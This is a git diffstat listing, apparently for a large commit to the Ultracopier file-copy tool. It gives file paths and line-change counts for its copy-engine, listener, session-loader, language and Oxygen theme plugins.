-rw-r--r--plugins-alternative/Themes/Windows/resources/icon-top.pngbin0 -> 2437 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/icon-top.xcfbin0 -> 4398 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources/icon.pngbin0 -> 379 bytes
-rw-r--r--plugins-alternative/Themes/Windows/resources_unix.qrc7
-rw-r--r--plugins-alternative/Themes/Windows/resources_windows.qrc7
-rw-r--r--plugins-alternative/static-plugins-supercopier.qrc6
-rw-r--r--plugins/CopyEngine/Rsync/Rsync.pro2
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.cpp94
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.h32
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/CompilerInfo.h1
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/FilterRules.cpp193
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/FilterRules.h46
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/FilterRules.ui162
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Filters.cpp456
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Filters.h44
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Filters.ui194
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/ar/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/de/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/el/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/es/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/fr/translation.ts799
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/hi/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/id/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/it/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/ja/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/ko/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/nl/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/no/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/pl/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/pt/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/ru/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/th/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/tr/translation.ts795
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Languages/zh/translation.ts795
-rwxr-xr-xplugins/CopyEngine/Ultracopier-0.3/ListThread.cpp1689
-rwxr-xr-xplugins/CopyEngine/Ultracopier-0.3/ListThread.h370
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/ListThread_InodeAction.cpp58
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/MkPath.cpp100
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/MkPath.h56
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/ReadThread.cpp597
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/ReadThread.h144
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/RenamingRules.cpp85
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/RenamingRules.h34
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/RenamingRules.ui129
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/RmPath.cpp127
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/RmPath.h56
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition_CopyEngine.h90
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/TransferThread.cpp1245
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/TransferThread.h218
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/Variable.h35
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/WriteThread.cpp508
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/WriteThread.h138
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/copyEngine-collision-and-error.cpp565
-rwxr-xr-xplugins/CopyEngine/Ultracopier-0.3/copyEngine.cpp796
-rwxr-xr-xplugins/CopyEngine/Ultracopier-0.3/copyEngine.h359
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/copyEngine.pro82
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/debugDialog.cpp70
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/debugDialog.h40
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/factory.cpp407
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/factory.h95
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.cpp95
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.h45
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.ui220
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.cpp189
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.h58
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.ui367
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.cpp156
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.h56
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.cpp143
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.h54
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.ui282
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/options.ui314
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/resources.qrc8
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/resources/add.pngbin564 -> 0 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/resources/edit.pngbin563 -> 0 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/resources/filter.pngbin429 -> 0 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/resources/remove.pngbin722 -> 0 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.cpp460
-rw-r--r--plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.h87
-rw-r--r--plugins/CopyEngine/Ultracopier/AvancedQFile.cpp208
-rw-r--r--plugins/CopyEngine/Ultracopier/AvancedQFile.h45
-rw-r--r--plugins/CopyEngine/Ultracopier/CompilerInfo.h (renamed from plugins-alternative/CopyEngine/Rsync/CompilerInfo.h)0
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngine-collision-and-error.cpp567
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngine.cpp1238
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngine.h381
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngine.pro101
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngineFactory.cpp692
-rw-r--r--plugins/CopyEngine/Ultracopier/CopyEngineFactory.h132
-rw-r--r--plugins/CopyEngine/Ultracopier/DebugDialog.cpp44
-rw-r--r--plugins/CopyEngine/Ultracopier/DebugDialog.h39
-rw-r--r--plugins/CopyEngine/Ultracopier/DebugEngineMacro.h (renamed from plugins-alternative/CopyEngine/Rsync/DebugEngineMacro.h)7
-rw-r--r--plugins/CopyEngine/Ultracopier/DiskSpace.cpp53
-rw-r--r--plugins/CopyEngine/Ultracopier/DiskSpace.h28
-rw-r--r--plugins/CopyEngine/Ultracopier/DiskSpace.ui68
-rw-r--r--plugins/CopyEngine/Ultracopier/DriveManagement.cpp102
-rw-r--r--plugins/CopyEngine/Ultracopier/DriveManagement.h34
-rw-r--r--plugins/CopyEngine/Ultracopier/Environment.h (renamed from plugins-alternative/CopyEngine/Rsync/Environment.h)3
-rw-r--r--plugins/CopyEngine/Ultracopier/FileErrorDialog.cpp163
-rw-r--r--plugins/CopyEngine/Ultracopier/FileErrorDialog.h51
-rw-r--r--plugins/CopyEngine/Ultracopier/FileExistsDialog.cpp238
-rw-r--r--plugins/CopyEngine/Ultracopier/FileExistsDialog.h60
-rw-r--r--plugins/CopyEngine/Ultracopier/FileIsSameDialog.cpp188
-rw-r--r--plugins/CopyEngine/Ultracopier/FileIsSameDialog.h57
-rw-r--r--plugins/CopyEngine/Ultracopier/FilterRules.cpp193
-rw-r--r--plugins/CopyEngine/Ultracopier/FilterRules.h (renamed from plugins-alternative/CopyEngine/Rsync/FilterRules.h)0
-rw-r--r--plugins/CopyEngine/Ultracopier/FilterRules.ui (renamed from plugins-alternative/CopyEngine/Rsync/FilterRules.ui)10
-rw-r--r--plugins/CopyEngine/Ultracopier/Filters.cpp457
-rw-r--r--plugins/CopyEngine/Ultracopier/Filters.h45
-rw-r--r--plugins/CopyEngine/Ultracopier/Filters.ui (renamed from plugins-alternative/CopyEngine/Rsync/Filters.ui)18
-rw-r--r--plugins/CopyEngine/Ultracopier/FolderExistsDialog.cpp199
-rw-r--r--plugins/CopyEngine/Ultracopier/FolderExistsDialog.h57
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/ar/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/de/translation.ts1294
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/el/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/en/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/es/translation.ts1305
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/fr/translation.ts1338
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/hi/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/hu/translation.ts1297
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/id/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/it/translation.ts1319
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/ja/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/ko/translation.ts1293
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/nl/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/no/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/pl/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/pt/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/ru/translation.ts1293
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/th/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/tr/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/Languages/zh/translation.ts1289
-rw-r--r--plugins/CopyEngine/Ultracopier/ListThread.cpp2379
-rw-r--r--plugins/CopyEngine/Ultracopier/ListThread.h431
-rw-r--r--plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp64
-rw-r--r--plugins/CopyEngine/Ultracopier/MkPath.cpp516
-rw-r--r--plugins/CopyEngine/Ultracopier/MkPath.h106
-rw-r--r--plugins/CopyEngine/Ultracopier/ReadThread.cpp687
-rw-r--r--plugins/CopyEngine/Ultracopier/ReadThread.h147
-rw-r--r--plugins/CopyEngine/Ultracopier/RenamingRules.cpp85
-rw-r--r--plugins/CopyEngine/Ultracopier/RenamingRules.h34
-rw-r--r--plugins/CopyEngine/Ultracopier/RenamingRules.ui (renamed from plugins-alternative/CopyEngine/Rsync/RenamingRules.ui)0
-rw-r--r--plugins/CopyEngine/Ultracopier/ScanFileOrFolder.cpp677
-rw-r--r--plugins/CopyEngine/Ultracopier/ScanFileOrFolder.h108
-rw-r--r--plugins/CopyEngine/Ultracopier/StructEnumDefinition.h1
-rw-r--r--plugins/CopyEngine/Ultracopier/StructEnumDefinition_CopyEngine.h124
-rw-r--r--plugins/CopyEngine/Ultracopier/TransferThread.cpp2081
-rw-r--r--plugins/CopyEngine/Ultracopier/TransferThread.h288
-rw-r--r--plugins/CopyEngine/Ultracopier/Variable.h (renamed from plugins-alternative/CopyEngine/Rsync/Variable.h)18
-rw-r--r--plugins/CopyEngine/Ultracopier/WriteThread.cpp967
-rw-r--r--plugins/CopyEngine/Ultracopier/WriteThread.h160
-rw-r--r--plugins/CopyEngine/Ultracopier/copyEngineOptions.ui762
-rw-r--r--plugins/CopyEngine/Ultracopier/copyEngineResources.qrc (renamed from plugins-alternative/CopyEngine/Rsync/resources.qrc)2
-rw-r--r--plugins/CopyEngine/Ultracopier/debugDialog.ui (renamed from plugins/CopyEngine/Ultracopier-0.3/debugDialog.ui)2
-rw-r--r--[-rwxr-xr-x]plugins/CopyEngine/Ultracopier/documentation.dox (renamed from plugins/CopyEngine/Ultracopier-0.3/documentation.dox)12
-rw-r--r--plugins/CopyEngine/Ultracopier/fileErrorDialog.ui (renamed from plugins-alternative/CopyEngine/Rsync/fileErrorDialog.ui)52
-rw-r--r--plugins/CopyEngine/Ultracopier/fileExistsDialog.ui (renamed from plugins-alternative/CopyEngine/Rsync/fileExistsDialog.ui)51
-rw-r--r--plugins/CopyEngine/Ultracopier/fileIsSameDialog.ui (renamed from plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.ui)62
-rw-r--r--plugins/CopyEngine/Ultracopier/folderExistsDialog.ui (renamed from plugins-alternative/CopyEngine/Rsync/folderExistsDialog.ui)49
-rw-r--r--plugins/CopyEngine/Ultracopier/informations-rsync.xml (renamed from plugins-alternative/CopyEngine/Rsync/informations.xml)5
-rw-r--r--plugins/CopyEngine/Ultracopier/informations.xml (renamed from plugins/CopyEngine/Ultracopier-0.3/informations.xml)13
-rw-r--r--plugins/CopyEngine/Ultracopier/plugin.json1
-rw-r--r--plugins/CopyEngine/Ultracopier/resources/add.pngbin0 -> 552 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier/resources/edit.pngbin0 -> 623 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier/resources/filter.pngbin0 -> 685 bytes
-rw-r--r--plugins/CopyEngine/Ultracopier/resources/remove.pngbin0 -> 683 bytes
-rw-r--r--plugins/Languages/ar/flag.pngbin992 -> 585 bytes
-rw-r--r--plugins/Languages/ar/informations.xml5
-rw-r--r--plugins/Languages/ar/translation.ts876
-rw-r--r--plugins/Languages/de/flag.pngbin753 -> 712 bytes
-rw-r--r--plugins/Languages/de/informations.xml5
-rw-r--r--plugins/Languages/de/translation.ts1169
-rw-r--r--plugins/Languages/el/flag.pngbin779 -> 726 bytes
-rw-r--r--plugins/Languages/el/informations.xml5
-rw-r--r--plugins/Languages/el/translation.ts876
-rw-r--r--plugins/Languages/es/flag.pngbin782 -> 726 bytes
-rw-r--r--plugins/Languages/es/informations.xml5
-rw-r--r--plugins/Languages/es/translation.ts1061
-rw-r--r--plugins/Languages/fr/flag.pngbin738 -> 699 bytes
-rw-r--r--plugins/Languages/fr/informations.xml9
-rw-r--r--plugins/Languages/fr/translation.ts1123
-rw-r--r--plugins/Languages/hi/flag.pngbin696 -> 728 bytes
-rw-r--r--plugins/Languages/hi/informations.xml5
-rw-r--r--plugins/Languages/hi/translation.ts876
-rw-r--r--plugins/Languages/hu/flag.pngbin0 -> 810 bytes
-rw-r--r--plugins/Languages/hu/informations.xml29
-rw-r--r--plugins/Languages/hu/translation.ts1412
-rw-r--r--plugins/Languages/id/flag.pngbin659 -> 691 bytes
-rw-r--r--plugins/Languages/id/informations.xml5
-rw-r--r--plugins/Languages/id/translation.ts876
-rw-r--r--plugins/Languages/it/flag.pngbin710 -> 675 bytes
-rw-r--r--plugins/Languages/it/informations.xml5
-rw-r--r--plugins/Languages/it/translation.ts1215
-rw-r--r--plugins/Languages/ja/flag.pngbin630 -> 595 bytes
-rw-r--r--plugins/Languages/ja/informations.xml5
-rw-r--r--plugins/Languages/ja/translation.ts886
-rw-r--r--plugins/Languages/ko/flag.pngbin744 -> 650 bytes
-rw-r--r--plugins/Languages/ko/informations.xml3
-rw-r--r--plugins/Languages/ko/translation.ts964
-rw-r--r--plugins/Languages/nl/flag.pngbin679 -> 709 bytes
-rw-r--r--plugins/Languages/nl/informations.xml5
-rw-r--r--plugins/Languages/nl/translation.ts876
-rw-r--r--plugins/Languages/no/flag.pngbin739 -> 715 bytes
-rw-r--r--plugins/Languages/no/informations.xml5
-rw-r--r--plugins/Languages/no/translation.ts876
-rw-r--r--plugins/Languages/pl/flag.pngbin703 -> 586 bytes
-rw-r--r--plugins/Languages/pl/informations.xml5
-rw-r--r--plugins/Languages/pl/translation.ts876
-rw-r--r--plugins/Languages/pt/flag.pngbin703 -> 686 bytes
-rw-r--r--plugins/Languages/pt/informations.xml5
-rw-r--r--plugins/Languages/pt/translation.ts876
-rw-r--r--plugins/Languages/ru/flag.pngbin676 -> 721 bytes
-rw-r--r--plugins/Languages/ru/informations.xml5
-rw-r--r--plugins/Languages/ru/translation.ts1003
-rw-r--r--plugins/Languages/th/flag.pngbin694 -> 731 bytes
-rw-r--r--plugins/Languages/th/informations.xml5
-rw-r--r--plugins/Languages/th/translation.ts876
-rw-r--r--plugins/Languages/tr/flag.pngbin672 -> 634 bytes
-rw-r--r--plugins/Languages/tr/informations.xml5
-rw-r--r--plugins/Languages/tr/translation.ts876
-rw-r--r--plugins/Languages/zh/flag.pngbin576 -> 538 bytes
-rw-r--r--plugins/Languages/zh/informations.xml5
-rw-r--r--plugins/Languages/zh/translation.ts886
-rw-r--r--plugins/Listener/catchcopy-v0002/DebugEngineMacro.h7
-rw-r--r--plugins/Listener/catchcopy-v0002/Environment.h3
-rw-r--r--plugins/Listener/catchcopy-v0002/Variable.h3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.cpp12
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ClientCatchcopy.h3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.cpp47
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ExtraSocketCatchcopy.h17
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.cpp1269
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/ServerCatchcopy.h264
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/catchcopy-api-0002/VariablesCatchcopy.h3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/documentation.dox6
-rw-r--r--plugins/Listener/catchcopy-v0002/informations.xml3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/listener.cpp127
-rw-r--r--[-rwxr-xr-x]plugins/Listener/catchcopy-v0002/listener.h79
-rw-r--r--plugins/Listener/catchcopy-v0002/listener.pro6
-rw-r--r--plugins/Listener/catchcopy-v0002/plugin.json1
-rw-r--r--plugins/Listener/dbus/Catchcopy.cpp6
-rw-r--r--plugins/Listener/dbus/Catchcopy.h8
-rw-r--r--plugins/Listener/dbus/DebugEngineMacro.h7
-rw-r--r--plugins/Listener/dbus/Environment.h3
-rw-r--r--plugins/Listener/dbus/Variable.h3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/dbus/documentation.dox18
-rw-r--r--plugins/Listener/dbus/informations.xml3
-rw-r--r--[-rwxr-xr-x]plugins/Listener/dbus/listener.cpp99
-rw-r--r--[-rwxr-xr-x]plugins/Listener/dbus/listener.h65
-rw-r--r--plugins/Listener/dbus/listener.pro5
-rw-r--r--plugins/Listener/dbus/plugin.json1
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/DebugEngineMacro.h7
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/Environment.h3
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/ar/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/de/translation.ts8
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/el/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/en/translation.ts17
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/es/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/fr/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/hi/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/hu/translation.ts17
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/id/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/it/translation.ts9
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/ja/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/ko/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/nl/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/no/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/pl/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/pt/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/ru/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/th/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/tr/translation.ts5
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/Languages/zh/translation.ts5
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/OptionsWidget.cpp16
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/OptionsWidget.h0
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/OptionsWidget.ui3
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/Variable.h4
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/documentation.dox10
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/informations.xml3
-rw-r--r--plugins/PluginLoader/catchcopy-v0002/plugin.json1
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/pluginLoader.cpp877
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/pluginLoader.h74
-rw-r--r--[-rwxr-xr-x]plugins/PluginLoader/catchcopy-v0002/pluginLoader.pro35
-rw-r--r--plugins/SessionLoader/KDE4/DebugEngineMacro.h7
-rw-r--r--plugins/SessionLoader/KDE4/Environment.h3
-rw-r--r--plugins/SessionLoader/KDE4/Variable.h3
-rw-r--r--[-rwxr-xr-x]plugins/SessionLoader/KDE4/documentation.dox6
-rw-r--r--plugins/SessionLoader/KDE4/informations.xml3
-rw-r--r--plugins/SessionLoader/KDE4/plugin.json1
-rw-r--r--plugins/SessionLoader/KDE4/sessionLoader.cpp72
-rw-r--r--plugins/SessionLoader/KDE4/sessionLoader.h35
-rw-r--r--plugins/SessionLoader/KDE4/sessionLoader.pro4
-rw-r--r--plugins/SessionLoader/KDE4/sessionLoader.pro.user.2.7pre1208
-rw-r--r--plugins/SessionLoader/Windows/DebugEngineMacro.h7
-rw-r--r--plugins/SessionLoader/Windows/Environment.h3
-rw-r--r--plugins/SessionLoader/Windows/Variable.h3
-rw-r--r--[-rwxr-xr-x]plugins/SessionLoader/Windows/documentation.dox8
-rw-r--r--plugins/SessionLoader/Windows/informations.xml3
-rw-r--r--plugins/SessionLoader/Windows/plugin.json1
-rw-r--r--[-rwxr-xr-x]plugins/SessionLoader/Windows/sessionLoader.cpp99
-rw-r--r--[-rwxr-xr-x]plugins/SessionLoader/Windows/sessionLoader.h18
-rw-r--r--plugins/SessionLoader/Windows/sessionLoader.pro5
-rw-r--r--plugins/Themes/Oxygen/DebugEngineMacro.h7
-rw-r--r--plugins/Themes/Oxygen/Environment.h3
-rw-r--r--plugins/Themes/Oxygen/Languages/ar/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/de/translation.ts329
-rw-r--r--plugins/Themes/Oxygen/Languages/el/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/en/translation.ts329
-rw-r--r--plugins/Themes/Oxygen/Languages/es/translation.ts315
-rw-r--r--plugins/Themes/Oxygen/Languages/fr/translation.ts305
-rw-r--r--plugins/Themes/Oxygen/Languages/hi/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/hu/translation.ts329
-rw-r--r--plugins/Themes/Oxygen/Languages/id/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/it/translation.ts333
-rw-r--r--plugins/Themes/Oxygen/Languages/ja/translation.ts257
-rw-r--r--plugins/Themes/Oxygen/Languages/ko/translation.ts285
-rw-r--r--plugins/Themes/Oxygen/Languages/nl/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/no/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/pl/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/pt/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/ru/translation.ts317
-rw-r--r--plugins/Themes/Oxygen/Languages/th/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/tr/translation.ts263
-rw-r--r--plugins/Themes/Oxygen/Languages/zh/translation.ts257
-rw-r--r--plugins/Themes/Oxygen/ThemesFactory.cpp476
-rw-r--r--plugins/Themes/Oxygen/ThemesFactory.h86
-rw-r--r--plugins/Themes/Oxygen/TransferModel.cpp887
-rw-r--r--plugins/Themes/Oxygen/TransferModel.h119
-rw-r--r--plugins/Themes/Oxygen/Variable.h6
-rw-r--r--[-rwxr-xr-x]plugins/Themes/Oxygen/documentation.dox6
-rw-r--r--plugins/Themes/Oxygen/factory.cpp146
-rw-r--r--plugins/Themes/Oxygen/factory.h61
-rw-r--r--plugins/Themes/Oxygen/informations.xml3
-rw-r--r--[-rwxr-xr-x]plugins/Themes/Oxygen/interface.cpp1817
-rw-r--r--[-rwxr-xr-x]plugins/Themes/Oxygen/interface.h355
-rw-r--r--plugins/Themes/Oxygen/interface.pro56
-rw-r--r--plugins/Themes/Oxygen/interface.ui646
-rw-r--r--plugins/Themes/Oxygen/interfaceResources.qrc (renamed from plugins/Themes/Oxygen/resources.qrc)2
-rw-r--r--plugins/Themes/Oxygen/interfaceResources_unix.qrc (renamed from plugins/Themes/Oxygen/resources_unix.qrc)4
-rw-r--r--plugins/Themes/Oxygen/interfaceResources_windows.qrc (renamed from plugins/Themes/Oxygen/resources_windows.qrc)2
-rw-r--r--plugins/Themes/Oxygen/options.ui281
-rw-r--r--plugins/Themes/Oxygen/plugin.json1
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/add.pngbin564 -> 552 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/exit.pngbin775 -> 874 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/informations.pngbin734 -> 841 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/options.pngbin660 -> 624 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.pngbin798 -> 1093 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.pngbin563 -> 623 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Unix.pngbin1007 -> 1174 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Windows.pngbin664 -> 677 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.pngbin789 -> 665 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.pngbin551 -> 439 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/add.pngbin564 -> 552 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/cancel.pngbin775 -> 874 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/export-transfer-list.pngbin504 -> 455 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/import-transfer-list.pngbin481 -> 454 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/main.pngbin563 -> 623 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/moveDown.pngbin525 -> 466 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/moveUp.pngbin484 -> 466 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/player_end.pngbin506 -> 696 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/player_pause.pngbin484 -> 640 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/player_play.pngbin501 -> 673 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/putOnBottom.pngbin691 -> 676 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/putOnTop.pngbin650 -> 681 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/remove.pngbin722 -> 683 bytes
-rw-r--r--plugins/Themes/Oxygen/resources/search.pngbin808 -> 781 bytes
-rw-r--r--plugins/Themes/Oxygen/themesOptions.ui426
-rw-r--r--plugins/static-plugins-oxygen.qrc6
-rw-r--r--plugins/static-plugins-windows.qrc6
-rw-r--r--plugins/static-plugins.qrc12
